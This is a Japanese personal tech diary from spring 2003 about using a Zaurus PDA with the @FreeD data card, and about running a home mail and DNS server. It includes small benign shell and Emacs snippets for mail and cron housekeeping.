そういえば、昨日から関東地方の私鉄の駅の喫煙所が撤去されたのですね。たばこはやめたので関係ないのですが、時代の流れというところですな。個人的には、遅くまで仕事をして酔っぱらいの人と電車に乗るのはとってもいやなので、「公共の場所を酒飲んだ状態でふらつくな」条例も欲しかったりします。どうしてお酒には甘いのだろうか。たばこと同様に非常に迷惑だと思うのですが。
意外と固まる SL-B500
結構固まりますな。Windows2000 より固まりやすいです。Mew/Emacs や w3m がインストールされ、しかも SD 上にスワップをもつという、かたぎのシステムはない(^^;ので仕方がないのです。メモリーが 32M でシステムが半分位使用しているのが痛いのです。
あと、通信中に電源を切る(実際はサスペンド)のも不安定になる要因だと思います。例えば FreeBSD で PPP 稼働中にサスペンドさせて落ちたこともあります。
それにつけても、アメリカ仕様の SL-5500 はメモリーが 64M バイトあってうらやましいのです。もちろん ROM に漢字を入れる必要がない分 RAM を増やしている訳なのです。

2003年5月1日(木)

ちっとも変らない自宅アドレス
自宅の ADSL なのですが、12Mbps(実際は 3Mbps)開通当初はリンクダウンが多く、毎日のようにアドレスが変化したのです。これではちょっと困るな～、と思っていたら、最近は十日以上一度も変化していません。上の隠し(^^;リンクでは最近の 100行しか表示されないので分かりませんが、原本(^^; を見ると全く変化していないのです。
1.5Mbps や 8Mbps のときもそうだったのですが、使っているうちに安定してくるのです。うーむ IBM とともに NTT の保守能力はあなどれません。
徹夜
昨日は思ったより仕事が進んだので、そこそこの時間に家に帰りました。てゆーか、一昨日は「むなしく帰ってきて」昼寝してしまって、夜ほとんど寝ていないので、もともと徹夜など無理だったのであります(^^;。
マニュアル
@FreeD の速度に関しては、 AT コマンドを調べて、マニュアルをちゃんと読めば分かる話なのですね。
マニュアルさえちゃんと読んで、すぼらじゃなくて、慎重さがあって、目がよくて、手先が器用ならばハードウエア技術者も夢ではないのに。嗚呼(^^;。
えーっと、ハードウエア技術がそんなに生易しいものでないのは、重々存じております。ただ、上に書いた才能があれば、そちらの方面の勉強ももっときちんとやる気が起きたであろう、という意味も含んでいるのです。
↑読み直すとつっこみが入ったようですが、そうではなくもともと自分で書いたものです。

2003年4月30日(水)

解いてもらった @FreeD/SL-B500 速度の謎^^
つっこみがありまして、なぞが解けたのであります。
いやはや、規格上あるかないかは別として ftp や PPP の圧縮には気をつけていたのですが、V.42bis などというモデム的圧縮は完全に抜けていました。 ISDN が先入観にあったのです。どうりで tcpdump でも圧縮に気が付かなかった訳ですな(^^;。
ちなみに FreeBSD が遅いのはどうしてかと言いますと、これは昔 PNG で計測したデータなのだ～(^^;。
ならば、これまた謎であった w3m で異常に速いのも納得。なんせテキストだけだから。
@FreeD/SL-B500 速度の謎
実は @FreeD を付けたザウルス SL-B500 で Web ブラウズをしていると、ダウンロード速度が 11KBytes/sec(88Kbps) なんて値が表示されることが多いのです。いやいや、@FreeD のデータリンク速度は 64Kbps だから、いくらなんでもこんなに速いわけがない、と思いまして、自宅サーバーにちょっとだけ ftp の穴を開けて調べてみたところ、やはり 11Kbytes/sec(88Kbps) 程度と測定されるのです。ちなみに実験に使用したファイルは 1Mバイトよりはるかに大きく(/kernel^^)、十分速度と時間の誤差を吸収してくれる大きさです。
ところが不思議なことに(いやいや、あたりまえのことに) FreeBSD に @FreeD(語呂がよいですな) を挿して、シリアルの速度を 115200bps として同様の実験を行うと、高々 56Kbps 程度の速度しかでないのです。確かに FreeBSD のシリアルポートドライバの性能はあんまり良くないので、性能が頭打ちなのは分かるのですが、ザウルスの速度が「速すぎる」方が原因不明なのです。なにか測定の勘違いをしているのだと思いますが、今のところ全然分からないのであります。
いずれにしても 64Kbps というのは、大きな画像以外の Web ブラウジングと、添付なしのメール受信には十分な速度ですな。
覚え書き
いつも本を写すはめになるので、端末を RAW モードに設定する方法。コードの記述が旧式なのは丸写しなので勘弁(^^;。
これで動いた、と思ったら、ちょっと間違いがあったので修正しました。

2003年4月29日(火)

ちっとも見つからない英語キーボード
ちょっと厄払いに X24 を英語キーボードにしようかな～、と思ってインターネットをいろいろ探しているのですが、全然見つかりません。こういうのはどんなところにあるのでしょうね。
お仕事～
今日は休日出勤。さすがに忙しくなってきましたな。
それで眠いのに早起きして会社に行ったのですが、会社のビルが祭日で閉っていて入る方法が分からない(^^;。
仕方がないから今日はおとなしく家に帰って、明日は徹夜ですな。昨日のなにげなく書いた呪文の威力があまりにも...。
呪文
実は、昨日書いた呪文、てゆーか、名前を「滅びの呪文」と勘違いしていたのです(^^;。
それなのにこんなに威力があるとわ。
「バル...」なんて書いていたらどうなっていたのだろうか。

2003年4月28日(月)

リュシータ・トゥエル・ウル・ラピュタ
いやいや、そんな大げさな話ではなく、単に、
>jar cvf *.class
てしただけ。*.java ならアウトでしたな(^^;。
いずれにしても、破局というものは、ちょっとした行き違いで急にやってくるものですな。しかも二つも同時に。いや、別に会社やめたりするわけでないです。家族ともうまくやってます。~~困っていることは何もないです~~。私生活に問題はないのですが、精神面のダメージが...。
極悪クロスケーブル
先週の話なのですが、秋葉原に行くのも面倒だし、かといってないと困る RS232C クロスケーブル。「これは手作りするしかないであろう」ということでハンダ付けすることに。ただし私がハンダ付けすると、
- そもそも面倒である。
- 配線を間違う。
- RS232C 本体のプラスチックを溶かしたことがある。
- ぼてはんだになって、接触が悪かったりすぐに取れてしまう。ショートする場合もある。
という欠点があるのです。すぼらじゃなくて、慎重さがあって、目がよくて、手先が器用ならばハードウエア技術者も夢ではないのに。嗚呼(^^;。
どうしようかな～、と思っていたら、都合良く横に留学生の B 君がいて、最近クロスケーブルを作ったことがあるというお話。そこで、ちょっとソフトのお手伝いをして恩を売って ハンダ付けをお願いしたのです。それで、間違いがないように慎重に配線図とかを確認して出来上がってきたのですが、
全然繋がりません(-_-)
一応目視しても問題なさそう。どーしてなんだろうか。面倒になってきたので B 君が前に作って、今仕事で使っているケーブルを借りて確認したら簡単に繋がるのです。そこで私の口から出た言葉。
「このケーブルいいな～」
「とってもいいな～」
「すごーくいいですね～」
「世界一だね」
「究極のケーブルですね～」
「B君の腕前なら新しいのも簡単に直るよね」(しっ、しつこい^^;)
いやはや、B 君も露骨にいやそうな顔をしていましたが、そこはほれ、なかなか上手に日本語で反論できないし、ソフトの弱みもあったりして、結局動作する方のケーブルは私が使うことになったりしたのであります。
極悪もここに極まりけり、というところですな。

2003年4月27日(日)

まだ来ない FC の更新
2月に催促がきてすぐに払い込んだのにまだ音沙汰なしとは。今月一杯でで期限がきれるのに。一応問い合わせフォームで状況を聞いてみました。
＃うちは、子供が勝手に郵便をとると紛失する場合もあるので、
＃もしそうだったらどうしよう。

歌暦

そういう訳で「みんなのうた」から谷山浩子さんが小さい頃好きだった曲を歌うという企画「歌暦」に行ってきました。本来の企画の主旨はちょっと違うかも知れないのですが、結果的にはそういう趣きとなりました。
それで、例のごとく曲名リスト。モンキーさんが作成されたリストのコピーです。ありがとうございます。いくつか変更したがな(^^;。いつもおんなじことを書きますが「すばらしかった」です。やはりコンサートはよいですなぁ。あと、浩子さんと子供系の歌というのは、とっても相性がよいですね。細かい感想は気が向いたら。

曲名	備考
恋するニワトリ	オープニング
トム・ピリビ	変なおじさん
ひげのお医者さん	いーかげんなおじさん
川で歌おう	民謡系(インドネシア)
花まつり	民謡系(アルゼンチン)
まっくら森の歌
月の沙漠	有名系・歌詞状況が意味不明で好きといってた
花	有名系・は～るの～うらーらーの～
ドロップスの歌	古い歌
クラリネットをこわしちゃった	古い歌
そっくりハウス
おはようクレヨン
雨の遊園地	影響を受けたうた。特に詩が好き
小さい秋みつけた	影響を受けたうた。特に詩が好き
ピエロのトランペット	浩子さん以外だれも知らなかった
大きな古時計	角野さんリクエスト
だれも知らない	初めてのアニメつきだったそうな
フニクリフニクラ	歌詞がぼけ
おもちゃのチャチャチャ	全員で歌うはずがあんまり歌わなかった
おおブレネリ	アンコール・全員で盛り上がった

IBM の赤ぽっちん
うーむ、ついに 10個単位売りとは。900円というのはそんなに高いとは思わないのですが、10個まとめて送られてきても困りますな。さすがに 3個 280円で送料負担では商売にならなかったのでしょうね(^^;。
ちなみに、おうちの在庫は現在 4個だったりします。

2003年4月26日(土)

歌麿
実は私も最初の頃しっかり間違えていたのだ(^^;。ローマ字の Subject: が初めて役にたったりしたのです。とはいっても、ローマ字 Subject: は好きになれないが。
それはともかく今日は歌暦。
いくらなんでも
わたしの話ではないのですが、ソニーの「バイオU」PCG-U101/P のことなのです。5月3日に発送予定と予約をとって、今になって一週間遅れとはひどいですな。むむむっ、ゴールデンウイークねたを楽しみにしていたのに。
＃せっかく連休に遊ぼうと予約して、怒りまくっている人が
＃全国にたくさんいそうですな(-_-)。
覚え書き
Mew でメールを書くとき、半角 60文字で自動的に折り返す設定。
(setq mew-draft-mode-hook
 (function
 (lambda ()
 (progn (auto-fill-mode 1)
 (set-fill-column 60)))))

今時 progn なんて使っている人ほかにいるのだろーか(^^;。
それから、上の   が山のようにあるのってなんとかならないかな。こんなことやるくらいなら、わたしの様に知識がない人は <pre> を使った方がよいかも知れない。

2003年4月25日(金)

ちょっと不便な @FreeD
電池対策の意味もあったりして、移動中、通常はザウルス SL-B500 を使用して、電車が空いてくると X24 を使用する場合が多いのです。その場合いちいち @FreeD のカード(P-in Free 1S)を挿し替えるのが面倒ですな、というだけのことなのです。当然 2枚の通信費を払うお金なんてあるわけがないので、 同時には使用できない代替カードというのがあるといいなと思ったりします。
Compact Flash の場所が空いた場合、そこにダミーのプラスチックを挿しておかないと、ごみが入りそうで不安になるのも、不便な要因の一つだったりします(^^;。
鳥籠に入ったピッチちゃん
一昨日までは虫かご(^^;の中に入っていたのです。前の小鳥がとまり木から落っこちて、それが原因で死んでしまったと思われるからです。足も強そうになってきたので、昨日から移住となりました。
埼玉
今日は埼玉でお仕事。もしかすると最後かも知れない。

2003年4月24日(木)

RS232C ケーブル
一昔前まで主流のインターフェースだった RS232C ですが、最近は全く精彩に欠く、てゆーか、見捨てられた感じもするのですが、その単純さにより、組み込み用途の CPU ボードのコンソールとしてはまだまだ主流なのです。それで、ちょっと新しいボードの評価をしようと、近くのショップに 9Pin のクロスケーブルを買いにいったのですが、
全然置いてありません(-_-)
辛うじてストレートは置いてあるのですが(モデム接続用と思われる)、良く考えてみれば、今時クロスシリアルケーブルを普通のお店で買う酔狂な人もあんまりいないわけで、経済原理によりお店から姿を消すのは当然と言えば当然なのであります。
いやはや、週末は秋葉原に行く必要がありそうですな(^^;。
いやいやまてまて、週末はこれがあるではないか。意外と忙しいのであります。
週末までには元気になって下さいね。まあ 40度熱があってもゆくのだろうが(^^;。
IIJmio @FreeD 対応予定
また契約することになりそうです。なんといっても一番信頼できますから。

2003年4月23日(水)

続・ぶたはら
昨日と今日はかなり食事の量を減らしております。夜中の冷蔵庫あさり(^^;もしてないし。問題は今晩会社の部署の宴会がある、ということですな(-_-);。
大はまり
Qtopia/Zaurus の開発で、シミュレーションと実機での振る舞いが全く異るのです。いやいやそんなばかな。とてつもなく難しいことをやっているならともかく、単純な配列の加算なのです。色々調べた結果、
実行環境用コンパイル環境では char のデフォルトが unsigned
むむむっ、これでわ昔の DOS 時代の MS-C の -J オプション(日本語オプション) のようではないか(ふっ、ふるい^^;)。いずれにしても十分な注意が必要ですな。
ちなみに「日本語オプション」でデフォルトの char が unsigned になるのは、 8bit コードによる意図しない符号拡張を防ぐためだったのです。
すこし分かった DNS
必要にせまられてバッタ本を読みまして、やっと DNS の仕組の初歩の初歩が理解できたかな。以前自宅の DNS を構築するのに、人様の雛形を見せていただいて、それでも全然理解できなくて適当に自宅用に変更してやっと動作したのですが、何とか意味が分かるようになりました。
やはりきちんとした本で勉強するのは大切ですな。
こんどは sendmail か(^^;。PHP も勉強したいな。なんせ今は shell と awk と C だけですべてすましているから。

2003年4月22日(火)

最近多い @FreeD の検索
最近 Google の登録も最近非常に速くなりまして、書いた記事が 2,3日でヒットするようになるようでして、うちの場合 @FreeD に関する検索で来られる方が多いのです。日記の検索にしては比較的「当たり」だと思うのですが、ここに書いてある記事も少しは参考にして購入するかを考える方もいるのかも知れませんので、あんまりいいかげんなことも書けませぬな。個人的には DDI ポケットにはもう少し頑張って欲しいところですが、少なくとも都市部において @FreeD と AirH" では全く勝負にならないのです。
＃いやはや洋なしではなかったとは(^^;。
レンタルサーバーログインぷち不調
昨日の 23時頃、突然アイネットディにログインできなくなってしまいました。 scp でアップロードしようとしたら途中でパスワードを聞いてきたのです。一応 Ctrl-C で中断して ssh で入ろうとするとやはりパスワードを聞いてくるのです。しかも正しいパスワードを何度いれてもだめでした。telnet もだめ。
いやはや困りました。ブラウザでパスワードを設定できるので、念のためにとブラウザの方でログインしたらすんなり入れたりしました(^^;。えー、おんなじパスワードなのに～。ブラウザのはおんなじでもパスワードファイルは別管理なのかな(/etc/master.passwd と .htpasswd)。いずれにしてもそこから再設定したらあっさり入れてしまいました。どうしてなのだろう。開始して半年くらいなので、期限があったりするのだろうか。
てなことを考えていたら、トラブル情報がでていました。うーむ、タイミング的に偶然ブラウザで成功したのだろうか。それとも認証が異るからうまくいったのだろうか。謎ですな。
いずれにしても、トラブルに対する対応がとても速いのです。

2003年4月21日(月)

ケータイスパム
インターネットアクセスをザウルスに奪われて、月額 2,000円の基本料金で「これから帰ります」電話以外ほとんど使われなくなったケータイなのですが、最近スパムが多いのです。スパムと言っても C-mail とかいう良く分からない au 専用のメールで届くのです。受信しても課金されないのでそんなに困りません。それで内容を引用しますと、
Sub:アド教えるよ
即アポ組!
http://xxx-xxx.com/x.html
女の子用Hダイヤル0XXXXXXX13
これが毎日必ず一回。うーむ、こんなのにホントに引っかかるお馬鹿さんがいるからわざわざメールを送ってくるのでしょうが、ほんとにあほらしいですな。
そもそも、この C-mail ってゆーのをやめることは出来ないのだろうか。
ここによると、完全にやめる方法はないようです。どうせほとんど使っている人いないとおもうのですが。
ぶたふぁっと
最近食べ過ぎで非常にまずい状況に陥っているのです。自分で自分の腹がうっとおしい。特にすわったとき(-_-)。
むむむむっ、これから夏だというのにこんなことでは本当にみっともないし、体にも良くないのだ。
ちなみにわたしの身長は 175cm で、体重が 80Kg 程度なら良いのですが、おそらく今は 85Kg 位ある感じがします。
教員をやってたころやはりでぶ症候群にかかって、体重が 90Kg を越えたがうまいこと扁桃腺炎にかかって、一週間全く食べれずに寝込んで、80 Kg までしぼんだことがあるのです。また扁桃腺に...いやいや今はそんな悠長に寝込んでいる暇はないのだ。
とゆーわけで、今日から食べる量を減らす予定。ここで宣言すると意外と守れるから。

2003年4月20日(日)

うまくゆかない SMTP AUTH
いろいろなところを調べて、すべての組合わせを試したと思うのですがだめ(-_-)。嫌われているとしか思えませんな。saslauthd と sendmail の関係が良く分かっていないのがまずいのでしょうね。
やっと平文で RELAY を受け入れるまでは動作。先が長いですな。
連休の目標は SMTP AUTH を動作させることかな(^^;。
ザウルスに w3m
前に大失敗したのですが、最新のバージョンは大丈夫です。入れたパッケージは、
w3m_0.4-m17n-k4_arm.ipk
libgc6_6.1alpha5-k1_arm.ipk
libcrypto_0.9.6g-1_armv4l.ipk
libssl_0.9.6g-1_armv4l.ipk

これでメールはもちろん、Web も人様の日記を読む分にはテキストベースで可能となりまして、非常に快適です。
自宅アドレスログ
せっかくなので、自宅の IP アドレスをこのページから見れるようにしました。場所は...よくみれば分かるはず。w3m だと分かりにくいかも知れません(^^;。 cron でテキストファイルに 30 分おきに追加して、CGI で最新 100行を表示します。ファイルは永久に大きくなりますが、極めてゆっくりなので、適当なときに手作業でメンテすれば十分だったりします(^^;。

2003年4月19日(土)

パソコンなんてそんなものよ
昨日犬の壁紙がランダムに他人の壁紙を変化させる話をしてたら、奧さまがゆってた言葉。 2年前に「どうして固まるの」「どうして青くなるの」と真面目に考えていたのに比べると大進歩ですな(^^;。
ちなみに、固まるとかなんとかいう以前に、全く判断力がないのが致命的だそうです。納得。
IP アドレスメール間隔変更
一時間ごとではうるさくて仕方がないのです。しょっちゅう変化するものでもないし、夜は通常家にいるので必要ないし。それでこんな感じに変更しました。一日一回位と変化したら送ってくれば良いのですが、今日は忙しいのでこんど(^^;。
0 6,10,14,18,22 * * * (cd $HOME/bin/; ./admail.sh)
admail.sh の中身は昨日書いたものです。
はてなアンテナとさるさる日記
最近は一日一度だけ、夜中の 2時頃に浮かび上がるようです。それで、こんなこと(1346番) があったようで、一応さるさる側で夜中の 2時頃にだけアクセスを許すようにしたのかも知れませんね。アンテナで一番使用頻度が高いのは日記系でしょうから、こういうのも困ったものです。
そりゃそーとうたたさんは、「一枚絵には魅かれない」なんていってて、猫耳女の子の「首のあたり」には萌えるのですね。たしかにかわいいけど(^^;。
今日も仕事
今日も一日仕事だったりします(^^;。

2003年4月18日(金)

いーなー
いやいや、さすがにこんどは勉強させませぬぞ(^^;。しかし 256M と 512M で 2万円しか違わないのはよいですね。勉強になります(^^;。
お泊り
まだ埼玉県で仕事していたりします(^^;。
IP アドレスをメール
昨日の様にダイナミック DNS に障害が発生すると非常に困るので、自宅の IP アドレスを 1 時間おきに自分宛にメールする様にする予定です。もちろんメール置き場は自宅でない方がよいのですが、アドレスはそんなに切り替わらないと思いますので、とりあえず自宅でよいでしょう。問題があったらアイネットディの方に置くことにします。
ところで、現在の自宅環境では、DNS を参照すると自宅サーバーのローカルアドレスがでてくる設定なので、自宅で外側のアドレスを調べるのはちょっと面倒なのです。そこで、アイネットディ側で nslookup 等を使用して自宅のアドレスを調べてメールを送ることになります。

nslookup evariste.dd.que.ne.jp | grep Address |
awk 'NR==2 {print $2}' |
mail -s "Address" kagami@evariste.que.ne.jp
こんな感じでよいかな。

2003年4月17日(木)

レンタルサーバー
ちょっと必要があって、レンタルサーバー、てゆーかホスティングサービスを色々調べたのですが、次のような傾向が判明しました。
- 大きいところは、企業向けということもあり、高くて不便で融通が効かない。例えば 100M バイトで月の基本料金が 3～5万円とか。ssh や telnet で入れるところはない。メールアカウントも 100人くらいが基本料金に含まれ、ユーザーは設定項目をブラウザで入力する仕組になっている場合が多い。もちろん、サービスで足りない部分を自分のプログラムでなんとかするなどということはできない。
- 小さいところは、例えばアイネットディのように、便利で安くてサポートもとても良いが、つぶれてしまう心配があるので、ある程度の規模の企業では提案しにくい面がある。ちなみに 100M バイトで月に 1,000 円という信じられない安さです。ssh も使えて、権限の範囲で常識的なプログラムならば勝手に動作させてもよいので、個人向けには最高の環境なのです。
- 最近はメールアカウントごとにウイルスチェックオプションというのが流行で、1 アカウントあたり月に 200～300 円程度と 150人くらいの中規模企業にはちょっとした負担になる金額なのです。最近はこれでお金もうけをするのが流行のようで、いやな時代になったものです。
個人相手と企業相手では当然姿勢も異ってきますし、大きいサーバー屋さんだと、ちゃんと無停電で空調が効いたところに機器を設置している等、高くなる要因は理解できるのですが、不便なのがいやですね。大きいところは当然「名前」で「つぶれない」ことを売りにしている面があります。
ちなみに、アイネットディさんにいつもログインしているのですが、たまにリブートメッセージが流れてくることがあります。というあたりがいかにも個人向けという感じですね。別にわたしのマイナーなページ程度では全く実害はないです。
ダイナミック DNS 不調
今日は埼玉に出張なのですが、おうちの DNS が引けなくなったので、また fetchmail で失敗したかと思い、たかたにさんのところを nslookup したけれどもだめ。アイネットディの障害の様です。
DNS が引けなくなるだけで、プロキシーは使えないしメールはとれない、設定を変えないと送れない、CVS もだめ、というように本当におうちのサーバーに全面依存なのです。とっても不便なのであります。
↑てなこと書いているうちに復旧したようです。だけど不安定。
完全復旧しました。とってもトラブル時の対応がよいのです。
大失敗
昨日はチューリング賞とかノーベル賞とかフィールズ賞とか景気のよい話を書いたのに、人様の文章の解釈を間違えて迷惑をかけるし、sendmail は動かないし(^^;、と散々な日だったのですが、実はもう一つトンデモ君をやってしまったのです。
UDP でデータをザウルスに送り込んで、そのデーターをプロットするプログラムの雛形を作っていたのですが、サンプル数が 100 の正弦波を表示しようとしたのです。
[頭のなか]↓
えーっと、2周期分位書きたいので～、円周率は 3よりちょっと大きいくて～、 2周期ったら 4pi だから 12.5位にすればよいので～、...
```
p[i] = sin((double)i * (100.0/8.0)) 0<=i<100
```
なんて式でプロットした図がこれ。よしよしちゃんとした正弦波だ(^^)。ぬぬぬぬぬっ(=_=)、どうして最初の方で減少するの？。しかも１周期位しか回っていないでわないか。うーん分からないー、分かんない～、と30分くらい悩んでいたのです(^^;。もちろん正解は、
```
p[i] = sin((double)i * (12.0/100.0)) 0<=i<100
```
でこんなグラフ。いやはや、 100.0/8.0 = 12.5 で 4pi～12.5663 よりちょっと小さい値だったのが悲劇でした。すごいオーバーフローを起こして、ちょっとアンダーフローしていたのです。分母と分子は間違うし、12 と 8 も間違うし、全く年はとりたくないものですな。

2003年4月16日(水)

うまくゆかない SMTP AUTH
今日の早朝 2時間もかけて SMTP AUTH 対応の sendmail をインストールしたのに、受理する方も受理してもらう方もうまくゆかないとは(-_-)。
RSA暗号の発明にチューリング賞授与
アイディアはよろしいが、内容的には高校生並の数学しか使っていないし、チューリング賞に値するほどのものではないと思う。考え方によっては、その程度の数学で、これだけのものが作れたのは立派であるという人もいるかも知れない。
フィールズ賞
そろそろお疲れもとれてきた思いますので、一つだけつっこみを(^^;。「「ノーベル賞との差は大きかった」っていうのは事実」というのはちょっとどうでしょうか。人選をみると、フィールズ賞はほとんど人選の失敗がないのに比べて、ノーベル賞は人選の失敗が非常に多いというのは周知の事実だと思います。賞金額や知名度を表面的に比較して「差は大きかった」というのが「事実」とは思えないのです。個人的にはフィールズ賞の方が、はるかに名誉ある素晴らしい賞だと考えています。対象年齢を 40歳以下にしたのも、ボスの暗躍を防いで大成功です。
数学という学問が客観的で正確な評価をしやすい、という点を考慮してもそう思います。
えーっと、確かに読み直すと、Joe さんの文章ではなく、産経の文章が「40歳以下というのを否定的に解釈」していて意味不明なのですね。不思議な考えもあるものです。それで内容の把握に混乱が生じまして、変なつっこみになってしまったのだと思います。ご迷惑をおかけ致しました。他にも誤解してしまった原因はあると思いますが、うまく表現できないのでこのへんで許して下され。
それはそーと、まだ権利があるのですね。うらやましいことで(^^;。
＃わたしにもノーベル賞の権利はあるのか(^^;。

2003年4月15日(火)

IIJmio モバイルアクセス解約
残念ながら、現行では @FreeD に対応していないので解約です。こちらは Web から簡単に解約できました。今までのインターネット系の解約では一番気持ちよく解約出来たと思います。解約の理由に、

「AirH" 32K つなぎ放題」から @FreeD に移行したため。IIJmio さまのサービスと信頼生、価格には満足しております。今後 @FreeD に対応された場合、再び契約を考えております。お世話になりました。

と書きました。
右揃え
昨日書きましたように、 Emacs にパラグラフごとの右揃え機能があるのを教えて頂きまして、早速愛用しております。それで、普通の PC では「まあー前よりはちょっと便利だな～ (失礼^^)」という感じなのですが、ザウルスでは絶大な威力を発揮しております。
今はもうちょっとフォントを小さくしているので写真よりはましなのですが、こちらのスナップショットでも分かるように、画面がとても小さいので、Mew でメールを書いても改行の位置がわからなくて、右側がでこぼこのメールを送っていたのです。
家に帰って自分の出したメールをみて愕然としていたのですが、右揃え機能を使いいますと、この HTML のソースの様に72文字近辺でぴたりとそろいますので、ザウルスでもなかなか見栄えのよいメールが書けるのであります。いい加減な記事を書いて結果的には大成功であります。
インフレ測定
こちらの ADSL速度測定所はかなりインフレの様です。根拠としては、
- 他のどことやっても 2Mbps 程度しか出ないのに、ここだと 2.3Mbps 位出る。
- 160Kバイトを @FreeD で実験したら 87Kbps(^^; も出た。
最初の現象は測定用にプロバイダーが故意にトラフィックを優先しているのかな、とも考えていたのですが、２番目はねえ(^^;。てゆーわけで、おうちの ADSL のリンク速度は 3Mbps(これは ADSL モデムの診断なので正しいと思う) で、ルーターを通した後の実効速度は 2Mbps というところの様です。

2003年4月14日(月)

AirH" 本当に解約
解約用の葉書が届いていました。それはよいのですが、葉書の郵送代 50円はこちらが負担。解約のときこそ印象を良くしておくのが大切なのがわからないのですね。まったく商売が下手ですな。
Windows2000 壁紙の謎^^
昨日書きましたように、奧さまが自分で壁紙を設定したのですが、Netscape の「壁紙に設定する」というメニューを使用したそうです。それで経験によるとその場合は、ここに書いたように、全員の壁紙が変化してしまうと思っていたのです。
ところが、苦情(失礼^^;) が出たのはモカだけで、他の人の壁紙は変化しなかったのです。うーむ、モカを含めて全員が Administrator 権限を持っていますし、モカだけが壁紙を設定していなかった訳でもないし、まったく謎の現象なのです。いやはや、Windows というのは本当に奥が深いですな(^^;。
HTML メール
今後多用しようかなと思っています(^^;。
いやいや、もちろん本当に HTML メールを出そうなんて下品なことを考えているのではないのです。
実は、右そろえ機能があるメーラーを使用している方からメールを頂くことがありまして、とっても見栄えがよろしいのです。
わたしも書きはじめはなるべく揃えようと努力するのですが、書いているうちに挿入削除が繰り返され、だんだんくずれてきまして「もうどーでもいいや」ということになってしまうのです。
それで考え付いたのが、ちょっと長めのメールの場合、 HTML でとりあえず書いて、それを w3m/Emacs で表示して、Mew の入力バッファに張り付ければよろしいのでは、ということなのです。
まあ、面倒な作業が入るので、長くは続かないと思うのですが、一度ためしてみようと思っているのです。
↑つっこみがありまして、こんな面倒なことしないでも Emacs に右揃え機能があったりするそうです。勉強になります(^^;。

2003年4月13日(日)

奧さまの壁紙
いつのまにかこれになっていました。

ちなみに 1024x768 より大きくする方法はないのですか(^^;。
てゆーか自分でやればよいですね。大きくするのって色々問題が生じそうだし。
作者様の絵に関するお考えはこちらですので、リンクではなく勝手にコピーさせていただいております。
(おまけ）
奧さまが買ってきてくれた、ザウルス用ストラップ。
小鳥
モカが復活して、一月ほど前からまた鳥を飼いたいということで、セキセイインコを買ってきました。名前はピッチ。今度は長生きしてね。
復活した自宅プロキシー
最近は自宅のサーバープロキシーを(動作はしていましたが)特に利点もないので使用していませんでしたが、ザウルスが @FreeD に変更になったのを機会に復活させました。理由は二つで、
- 自宅で無線 LAN を使用している場合プロキシーで少しは速くなるはず。
- @FreeD を使用している場合、特に速度的な利点はないのですが、送信元アドレスが mopera よりも IIJ の方がかっこいい(^^;。
というどーでもよい理由だったりします。
ちなみに SL シリーズのプロキシー設定はちょっと変で、データリンクごとに行うのです。例えば「無線 LAN」プロキシー、「AirH"」プロキシー、「@FreeD」プロキシーという感じです。プロキシーはアプリケーションごとに決めるのが正しいですし、データ─リンクにアプリケーションレベル概念が登場するのも変なのです。それで ssh などに影響がでたら困るな、と思ったのですが、そういうことはなくHTTP のみ、てゆーか NetFront に影響を与えるだけの様です。
メールアドレスもデータ─リンクごとに設定するし(無視してますが)、考え方が変ですな。まあ、プロバイダーごとに設定という気持ちはわからぬのではないのですが、概念としては間違っていると思うのであります。

2003年4月12日(土)

ゲームソフト名「衝撃と恐怖」、ソニー子会社が商標申請
ひどいことをするものですね。わたしが前に勤めていた会社もそうですが、企業が反社会的な行動をとりだすということは、内部でそれを容認する人間が発言権なり決定権ををもっているわけで、倫理の崩壊が発生しているのです。間違いなくその企業は衰退します。
銀行がいちばんよい例ですが、例えば、一昔前よくあったとんでもなく安い金額で入札などを行っていた企業などもほとんど例外なく衰退しています。
企業の本当の役割は、短期的に株主さまをもうけさせることではなく、企業活動を通じた社会に対する長期的な貢献だと思います。
大失敗した fetchmail
実は昨日、突然会社からメールの送信が出来なくなったのです。会社からの送信の場合、メールは次の経路を通るのです。
- X24 から自宅の sendmail へ ssh トンネル経由で依頼
- 自宅の sendmail はアイネットディの sendmail に送信を依頼
自宅から直接送信してもよいのですが、まれに最近 SPAM 等に使用された IP アドレスが割り当てられると、特に相手様がケータイの場合、受信を拒絶される場合もあったりするのです。
それで返信メールを見ると、アイネットディの sendmail が中継拒否をしているのです。
だけど fetchmail -c を crontab で 3分おきに動かしているので、 POP before SMTP は大丈夫なはず。とりあえず「なにかまずいことはおこっていませんか」というメールをアイネットディに出したのですが、いやはや、大変な恥を掻いてしまいました(^^;。
前の fetchmail が通信不調で残っていて、認証が終了しないうちに、次のがどんどん動いていたのです。
それが原因で時間切れとなって中継を拒絶されたのです。
せめて ps で調査位するべきでした。ちなみに fetchmail -c にはもう一つ大切な役割がありまして、動的 DNS の設定にも使用しているのです。ダミーメールサーバーで、あるユーザーの APOP 認証を受けると、その送信元 IP アドレスに対して [evariste.dd.que.ne.jp] という名前を DNS に登録してくれるのです。
いずれにしても、メールの送信はそろそろ SMTP auth を考えた方がよいかも知れません。当面の逃げとして、残っている fetchmail を殺してしまえばよいので、fetchmail -c のかわりに、こんなのを定期的に動作させています。
```
-----------------------------------
#!/bin/sh

/usr/bin/killall fetchmail
/bin/sleep 3
exec /usr/local/bin/fetchmail -c
-----------------------------------
```

2003年4月11日(金)

AirH" 解約
二つもカードを持ち歩く予算もないので、AirH" は解約です。インターネットでは解約のメニューは出ないので、電話をかけて、色々本人確認があって、自宅に書類を郵送とのことです。解約のときは面倒ですな(-_-)。
@FreeD
というわけで、昨日の会社の帰り、今年の猫森の予行演習を兼ねて(オィ^^;)、定時(17:30)に会社を出て新宿まで行ってみました。分倍河原から京王線一本で、新宿に着いたのが 18時15 分頃。猫森はおそらく 19時からでしょうから余裕で大丈夫そうです。
それで肝心の @FreeD なのですが、ザウルスに挿してmopera に接続しても、認証のところで固まって、
全く繋がりません(=_=)
いやいやそんなばかな、認証は必要ないはず。そもそも電話番号を間違えたら、接続さえできないはずだし。
色々試行錯誤してもだめで、30分以上電車を待ったりしながらはまっていたのですが、なんか認証が間違ってるという感じではなく、単にザウルスが固まっている感じなのです。それで「もしかして、いーかげんなユーザー名とパスワードをいれればよいのでは」と思いまして、やってみたら簡単に繋がりました。いやはやバグなのか仕様なのか(^^;。
それで、肝心の速度なのですが、少なくとも Web ブラウジングに関して、電波状態が良い場合は、AirH" の 2倍なんていうものではなく、全然レベルが違いますね。昔のテレホーダイのダイアルアップと、最近の INS64 の違いという感じです。
電車の中でも意外と頑張って、だめになるときは全然だめなのですが、復帰すると一気にデーターをもってくるので、あんまりストレスを感じません。
